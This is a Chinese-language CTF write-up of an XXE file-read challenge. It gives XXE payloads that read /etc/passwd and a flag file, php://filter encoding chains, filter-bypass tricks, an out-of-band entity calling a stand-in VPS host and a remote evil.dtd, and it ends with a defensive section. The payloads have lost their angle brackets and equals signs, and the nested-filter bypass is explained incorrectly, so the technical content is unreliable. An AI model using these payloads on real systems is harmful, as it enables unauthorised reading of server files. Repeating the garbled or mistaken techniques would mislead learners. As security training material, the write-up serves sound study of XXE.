从XXE漏洞到系统渗透:实战绕过过滤与文件读取技巧

📅 2026/7/6 15:15:50
从XXE漏洞到系统渗透:实战绕过过滤与文件读取技巧
1. 项目概述一次从XXE到系统级渗透的实战推演最近在复盘一些经典的CTFCapture The Flag题目GHCTF里的那道“EZ ReadFile”让我印象很深。这道题的名字听起来很“EZ”简单但它的解题路径却非常典型几乎就是现实渗透测试中从一个看似无害的XXE漏洞出发逐步深入最终实现敏感文件读取甚至更严重后果的完整缩影。很多刚接触Web安全的朋友可能知道XXE能读文件但具体怎么读、读什么、遇到障碍怎么绕过思路往往不够清晰。这道题恰好提供了一个绝佳的沙盘让我们可以一步步拆解攻击者的思考逻辑和操作链条。简单来说这道题的核心就是利用XML外部实体注入漏洞。你可能会觉得不就是个读文件的漏洞吗但实战中从发现漏洞到真正读到/etc/passwd或flag文件中间往往隔着好几道“墙”。比如题目可能会过滤某些关键词、限制文件路径、或者返回的数据被编码处理让你看不到。这道“EZ ReadFile”就模拟了这些场景它要求你不仅要会用XXE还要懂得如何组合利用各种技巧比如php://filter伪协议编码、目录遍历、绕过路径限制等来达成最终目标。接下来我就结合这道题把从漏洞探测到最终获取敏感信息的完整路径以及背后的原理和踩过的坑给大家彻底讲明白。2. 漏洞原理与场景深度拆解为什么XXE是“入口神器”2.1 XXE漏洞的本质与常见触发点XXE全称XML External Entity Injection即XML外部实体注入。要理解它你得先明白XML是干什么的。XML是一种标记语言常用来传输和存储数据比如Web ServiceSOAP、RSS订阅、甚至一些办公文档格式。XML允许我们自定义“实体”实体可以理解为一种缩写或变量引用。而“外部实体”则允许XML处理器从外部系统如本地文件系统或远程URL加载数据。漏洞的根源在于如果服务器在解析用户提交的XML数据时没有严格禁用外部实体的加载那么攻击者就可以在XML中定义自己的恶意外部实体。例如定义一个指向服务器本地文件file:///etc/passwd的实体当这个实体被引用时服务器就会去读取这个文件的内容并将其嵌入到XML响应中返回给攻击者。在实际的Web应用中XXE常出现在以下几个地方文件上传功能如果应用允许上传XML格式的文件如.docx, .xlsx它们内部都是XML并在服务器端进行解析。API接口特别是基于SOAP的旧式Web Service或者接受application/xml或text/xml内容类型的RESTful API。文档解析服务在线转换PDF、解析Excel等。 在GHCTF的这道题里通常是一个提供“数据解析”或“文件内容查看”功能的Web接口它接收用户输入的某种“标识符”后端可能用XML格式来处理这个请求从而为我们留下了注入的空间。2.2 EZ ReadFile题目场景构建与限制分析根据题目名“EZ ReadFile”和常见出题思路我们可以推测出题人构建了这样一个场景功能描述一个简单的Web页面可能有一个输入框让你输入一个“文件名”或“文件ID”然后后端会“读取”并返回该文件的某些内容。题目暗示了“读文件”的能力。漏洞点后端在处理请求时很可能将用户输入拼接到了一个XML文档中进行解析。例如原本的请求可能是这样的?xml version1.0? readfile filenameuser_input/filename /readfile这里的user_input就是我们可控的部分。预期限制题目绝不会让你直接输入/etc/passwd就拿到flag。常见的限制包括关键词过滤后端代码可能检查输入中是否包含flag、etc、passwd等敏感字符串。路径限制可能要求输入的文件名必须存在于某个特定目录下或者不能包含路径遍历符号../。输出限制读取到的文件内容可能不会直接显示在响应里而是经过处理或只显示一部分。我们的任务就是利用XXE并辅以其他技巧绕过这些限制最终读取到存储flag的敏感文件可能是/flag、/home/ctf/flag.txt等。注意在实际CTF或渗透测试中第一步永远是信息收集。查看网页源码、JS文件、进行简单的目录扫描可能会发现一些提示比如注释里写着“后端使用XML解析”或者存在/api/parse这样的接口。这道题通常会把入口做得比较明显。3. 利用链构建从基础XXE到过滤绕过3.1 第一阶段基础XXE Payload构造与文件读取首先我们需要确认漏洞是否存在并测试最基本的文件读取。假设我们找到了一个提交XML数据的端点。1. 探测XXE是否可用我们可以先提交一个用于测试的、无害的外部实体Payload看看服务器是否会解析它。?xml version1.0? !DOCTYPE test [ !ENTITY xxe SYSTEM http://your-vps-ip:port/ ] readfile filenamexxe;/filename /readfile这个Payload定义了一个外部实体xxe其内容指向我们可控的一台外网服务器VPS。如果服务器解析了此外部实体它会向我们的VPS发起一个HTTP请求。我们在VPS上使用nc -lvp 80监听如果收到请求则证明XXE漏洞存在并且服务器具有出网权限这对后续可能用到的远程实体包含很重要。2. 读取本地系统文件确认漏洞后尝试读取一个经典的、存在于几乎所有Unix-like系统上的文件/etc/passwd。?xml version1.0? !DOCTYPE readfile [ !ENTITY xxe SYSTEM file:///etc/passwd ] readfile filenamexxe;/filename /readfile如果成功在服务器的响应中xxe;所在的位置就会被替换成/etc/passwd文件的内容。这是最理想的情况但“EZ”题目通常不会这么简单。3.2 第二阶段应对无回显与输出编码很多时候由于页面布局或后端处理逻辑文件内容不会直接显示在我们可以看到的响应正文中即“盲XXE”或者读取的内容被HTML编码了看起来像一堆乱码。1. 使用PHP伪协议进行编码输出这是解决“无回显”或“内容被处理”问题的核心技巧。php://filter是PHP中一个强大的协议可以对流进行过滤处理。我们可以用它来对目标文件进行Base64编码这样无论文件内容是什么都会变成一串可见的、无特殊字符的Base64字符串便于在HTTP响应中传输和查看。?xml version1.0? !DOCTYPE readfile [ !ENTITY xxe SYSTEM php://filter/readconvert.base64-encode/resource/etc/passwd ] readfile filenamexxe;/filename /readfile提交这个Payload后如果响应中出现了类似cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaA...这样的一长串字符那就是/etc/passwd文件的Base64编码。我们只需要将其解码即可得到原文。2. 利用CDATA区块处理特殊字符另一种情况是文件内容能被输出但其中的、、等字符会被XML解析器误认为是标签或实体导致内容截断或解析错误。我们可以结合PHP伪协议和XML的CDATA区块来包裹内容。CDATA内部的所有字符都会被当作纯文本处理。 构造这样的Payload需要一点技巧通常需要用到参数实体和外部DTD文档类型定义但在一些允许内联DTD的简单场景下可以尝试更复杂的嵌套实体。不过在CTF中php://filter/convert.base64-encode通常是更通用、更可靠的方案。3.3 第三阶段绕过关键词与路径过滤现在来到题目“EZ ReadFile”可能设置的核心障碍。假设我们直接读取/flag被拦截了。1. 路径遍历绕过如果过滤了/flag但没过滤路径遍历符号可以尝试寻找其他路径。尝试绝对路径的变体/flag、/home/ctf/flag、/var/www/html/flag。尝试使用相对路径和目录遍历如果知道Web根目录可以尝试../../../../flag。在不知道深度时可以多次使用../如../../../../../flag。使用URL编码绕过将/编码为%2f将.编码为%2e。Payload可能变成file:///etc/passwd-file:%2f%2f%2fetc%2fpasswd注意SYSTEM关键字后的内容是否支持URL编码取决于XML解析器库。2. 利用PHP伪协议嵌套过滤器绕过关键词检测这是本题的一个关键技巧。后端可能用strpos()或正则匹配检查filename节点内容是否包含flag。但如果我们把路径藏在php://filter的resource参数里并且对resource的值再进行一次编码就有可能绕过。 例如目标文件是/flag。直接读取php://filter/readconvert.base64-encode/resource/flag可能被过滤嵌套编码绕过我们可以对/flag这个字符串本身进行Base64编码得到L2ZsYWc。然后让过滤器链先解码这个字符串再去读取真正的资源。!ENTITY xxe SYSTEM php://filter/readconvert.base64-decode|convert.base64-encode/resourcephp://filter/readconvert.base64-decode/resourceL2ZsYWc这个Payload看起来复杂其逻辑是最内层resourceL2ZsYWc这是一个Base64字符串。经过php://filter/readconvert.base64-decode/resourceL2ZsYWcL2ZsYWc被解码回/flag。这个结果作为外层php://filter的resource参数值即resource/flag。外层过滤器convert.base64-decode|convert.base64-encode是一个“过手”操作先解码再编码实际效果等同于直接编码最终将/flag文件内容进行Base64编码输出。 这样做的好处是在后端代码进行关键词检查时它看到的filename参数值是一串复杂的、不包含flag的过滤器字符串从而可能绕过检查。3. 利用数据包装器data://如果服务器同时支持php://和外部实体且允许data://协议我们可以用它将恶意负载进行编码后注入。!DOCTYPE readfile [ !ENTITY % dtd SYSTEM http://your-vps/evil.dtd %dtd; ]然后在evil.dtd中定义参数实体最终执行命令或读取文件。但这通常用于盲XXE场景在有回显的“读文件”题目中php://filter更直接。4. 完整实战步骤复现与问题排查4.1 实战操作流程推演假设我们面对GHCTF的“EZ ReadFile”题目完整的攻击流程可能如下信息收集与功能分析访问目标网址查看前端页面。发现一个输入框提示“输入文件名”。查看网页源代码发现注释!-- 后端使用XML处理器请规范输入 --。这是一个强烈提示。使用Burp Suite拦截正常提交请求。发现提交的数据格式可能是JSON或表单尝试修改Content-Type为application/xml并将请求体改为XML格式。漏洞验证与基础利用发送包含测试外部实体指向自己VPS的Payload确认收到HTTP请求漏洞存在。发送读取/etc/passwd的Payload使用file://协议。如果失败或内容不显示立即切换到php://filter/convert.base64-encode/resource/etc/passwd。成功获取Base64编码内容解码后确认用户列表证明文件读取能力可用。定位目标文件与绕过过滤尝试直接读取/flag、./flag、flag.txt等常见flag位置观察返回信息错误信息有时会透露路径。如果返回“非法输入”等提示说明存在过滤。尝试使用路径遍历../../../flag。如果路径遍历也被过滤尝试使用php://filter嵌套编码技术将/flag编码后嵌入。还可以尝试读取/proc/self/cwd/flag当前工作目录下的flag或者读取/etc/nginx/sites-enabled/default等配置文件来推测Web目录再拼接flag路径。最终获取Flag通过上述某种绕过方式成功构造出能读取到flag文件的Payload。提交Payload在响应中获得一串Base64编码的字符串。使用base64 -d命令或在线工具解码得到清晰的flag内容格式通常为GHCTF{...}。4.2 常见问题与排查技巧实录在实际操作中你肯定会遇到各种意想不到的问题。下面是我总结的一些常见坑点和排查思路问题现象可能原因排查与解决思路提交XML后返回500错误或空白页1. XML格式错误如标签未闭合。2. 使用了不被支持的协议如expect://。3. 实体引用错误如未定义的实体。1. 使用XML语法检查工具或在线校验器确保格式正确。2. 优先使用最通用的file://和php://filter协议。3. 确保实体定义!ENTITY ...在引用xxe;之前且位于DOCTYPE声明内。收到file://协议内容但显示乱码或不全1. 文件内容包含XML特殊字符被解析器处理。2. 输出被前端截断。1.首选方案换用php://filter/convert.base64-encode/resource...进行Base64编码输出。2. 尝试在响应体的HTML源码中查找完整内容右键查看页面源代码。使用php://filter后返回错误提示“filter is not allowed”服务器PHP配置禁用了php://filter包装器或题目环境非PHP。1. 尝试file://协议直接读取。2. 尝试其他包装器如zip://、phar://需配合文件上传。3. 考虑是否方向错误可能不是XXE或是盲XXE需要外带数据。关键词过滤严格所有包含flag、etc、/的请求都被拦截后端进行了严格的字符串匹配或WAF防护。1.大小写混淆尝试/Flag、/FLAG。2.双重编码对Payload整体进行URL编码两次。3.利用解析差异尝试在XML中使用CDATA、注释等方式分割关键词如!ENTITY xxe SYSTEM file:///etc/passwd中间有空格或换行某些解析器会拼接。4.终极思路如果可外连尝试使用远程DTD将恶意部分放在外部服务器上本地只引用一个无害的URL。确认是XXE但无论如何读不到/etc/passwd1. 目标系统可能是Windows。2. 当前应用权限不足无法读取系统文件。1. 尝试读取Windows文件如file:///C:/windows/win.ini或file:///C:/windows/system32/drivers/etc/hosts。2. 尝试读取Web应用自身的文件如file:///var/www/html/index.php通过源码寻找线索。响应中能看到文件内容但flag不在常见位置对目标环境不熟悉。1. 读取/proc/self/environ获取环境变量可能包含路径信息。2. 读取/etc/hostname、/etc/issue了解系统信息。3. 读取Web服务器日志、配置文件寻找线索。4.目录遍历枚举如果题目允许尝试读取/根目录列表需支持file://列目录但通常不支持。可以考虑用php://filter读取/etc/passwd后根据其中的用户家目录猜测flag位置如/home/用户名/flag。实操心得在CTF中XXE题目最后的flag往往不在/etc/passwd里那只是一个“能力证明”。真正的flag可能在Web目录下的一个随机文件名里或者需要你读取源码后解密。所以在证明能读文件后立刻转向读取网站源码如index.php、api.php从源码中寻找下一步的线索如数据库配置、包含其他文件的路径、隐藏的命令执行参数等这才是完整的解题链条。5. 防御视角开发中如何避免此类漏洞作为开发者了解攻击手段是为了更好地防御。要杜绝XXE漏洞根本方法是配置XML解析器禁用危险功能。1. 禁用外部实体加载这是最关键的一步。以PHP为例在使用libxml库解析XML前应调用libxml_disable_entity_loader(true);对于Java的DocumentBuilderFactoryDocumentBuilderFactory dbf DocumentBuilderFactory.newInstance(); dbf.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true); dbf.setFeature(http://xml.org/sax/features/external-general-entities, false); dbf.setFeature(http://xml.org/sax/features/external-parameter-entities, false);对于Python的lxmlfrom lxml import etree parser etree.XMLParser(resolve_entitiesFalse)2. 使用白名单验证输入对用户提供的XML数据中将要被使用的节点和内容进行严格的校验只允许预期的字符和格式。3. 尽可能使用简单的数据格式在非必要场景下避免使用XML。JSON是更安全、更轻量的替代选择。4. 及时更新库版本使用的XML解析库如libxml2可能存在未知的绕过方式保持更新可以降低风险。5. 在WAF/网关层进行检测部署Web应用防火墙对请求中的!DOCTYPE、!ENTITY、SYSTEM、file://、php://等关键词进行过滤和告警。通过GHCTF这道“EZ ReadFile”的实战推演我们可以看到一个简单的漏洞点如何通过攻击者层层递进的技巧演变成一条完整的渗透路径。这提醒我们在安全开发中任何一处细微的疏忽都可能成为整个系统防线的突破口。而对于学习安全的朋友来说掌握这种“发现问题-利用问题-绕过限制-达成目标”的链式思维远比死记硬背几个Payload要重要得多。